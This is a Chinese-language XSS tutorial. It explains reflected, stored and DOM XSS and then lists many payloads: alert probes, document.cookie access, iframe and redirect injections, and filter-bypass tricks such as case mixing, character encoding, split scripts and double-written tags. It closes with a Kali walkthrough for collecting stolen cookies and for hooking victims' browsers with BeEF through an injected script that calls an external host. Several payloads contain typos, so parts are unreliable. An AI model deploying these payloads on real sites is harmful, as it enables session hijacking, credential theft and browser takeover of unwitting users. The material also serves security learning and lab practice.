XSS简述
XSS 指恶意攻击者利用网站提供的接口,没有对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,别的用户访问都会执行被嵌入的代码。XSS漏洞存在服务器中,由被攻击者访问服务器触发,在客户端浏览器中执行恶意代码
XSS危害
-
盗取各种用户账号
-
-
劫持用户会话,执行任意操作
-
刷流量,执行弹窗广告
-
传播蠕虫病毒
XSS 漏洞的验证
-
在网页上类似搜索框,留言板的地方输入一下代码,被当做字符串输出到HTML页面中,浏览器会根据<script>标签识别为JS代码,并且会执行它,也就是说可以执行其他任意的JS代码,以此就 就验证了XSS漏洞的存在
<script>alert(/xss)</script>
<script>confirm(/xss)</script>
<script>prompt(/xss)</script>
XSS的分类
-
反射型XSS:非持久性跨站脚本攻击,
-
存储型XSS:持久性跨站脚本攻击,xss代码不是在某个参数中,而是存在于web服务器的数据库或文件中
-
当页面被用户打开的时候执行,通常发生在留言本等地方
-
-
DOM型XSS:基于DOM的XSS,攻击的payload是由于修改受害者的浏览器页面的DOM树而执行的
构造XSS脚本
构造XSS脚本分为三种
利用<>构造html/js标签
<script>alert(xss)</script>
伪协议,javascript:
<a href="javascript:alert(xss)">click me</a>
<img src="javascript:alert(xss)">
产生自己的事件
windows事件
form事件
keyboard事件
mouse事件
medie事件
<img src="./joke.jpg" onmouseover='aler(xss)'>,引入一个图片,当鼠标悬停在图片上的时候出发XSS代码
弹窗警告:一旦次脚本能执行,也就意味着后端服务器没有对特殊字符做过滤,就证明存在XSS漏洞
<script>alert(/xss)</script>
<script>alert(document.cookie)</scirpt>
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>windows.location="http://www.baidu.com"</scirpt>
<script>location.href="http://www.baidu.com"</scipt>
弹窗警告并重定向
<script>alert("okkoko");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="http://1.1.1.1/dvwa/robots.txt"</script>
访问恶意
<script src="http://www.dvwa.com/xss.js"></scipt>
<script src="http://BeEf_ip:3000"/hook.js></script>
巧用图片标签
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
javasript伪协议
<a href="javascript:alert(/xss)">touch me!</a>
<img src="javascript:alert(/xss/)">
XSS的变形,绕过
对构造的XSS代码进行各种变形,用来绕过XSS过滤器的检测
大小写转换
<img sRc="#" onerror="alert(/xss/)" />
<a hREf="javascript:alert(/xss/)">click me </a>
引号的使用
<Img sRc="#" onerror="alert(/xss/)" />
<Img sRc="#" onerror='alert(/xss/)' />
<Img sRc="#" onerror=alert(/xss/) />
<Img/sRc="#" onerror="alert(/xss/)" />
用 / 代替空格
在代码的某些位置添加 回车/tab 符,来绕过关键字检测
<a href="j
a v a script:alert(xss)">click me</a>
对标签的属性进行转码
字幕 ascii码 十进制编码 十六进制编码
a 97 a a
e 101 e e
<a href="javascript:alert(/xss/)">click me</a>
可以将一下字符插入到任意位置
Tab 	
换行 

回车 
可以将一下字符插入到头部位置
S0H 
STX 
拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss)'</script>
<script>eval(z)</script>
双写绕过
<script></scr<script>ipt>
获取cookie的存储型XSS攻击,手动型
使用kali搭建收集cookie的服务器
开启kali的apache2服务:systemctl start apache2
创建一个php脚本文件,让被攻击者访问被攻击页面时,自动访问这个文件,向攻击者发送cookie
vim /var/www/html/cookie_rec.php
BeEF
通过XSS漏洞配合JS脚本和Metasploit进行渗透
kali开启apache2:root@kali:~# systemctl start apache2
启动beef:root@kali:~# cd /usr/share/beef-xss
root@kali:~# ./beef
在浏览器上登录beef的管理页面,如果有人被攻击,在beef的管理页面就可以管理了
http:192.168.52.146:3000/ui/panel user:beef,passwd:123456
构建一段xss代码注入到web服务器中
<script src="http://192.168.52.146:3000/hook.js"></script>
等待肉鸡访问,被注入xss代码的页面,只要有肉鸡访问了该页面,hacker就可以获取该肉鸡的信息,但是只要肉鸡的页面关系,hack就会与肉鸡断开连接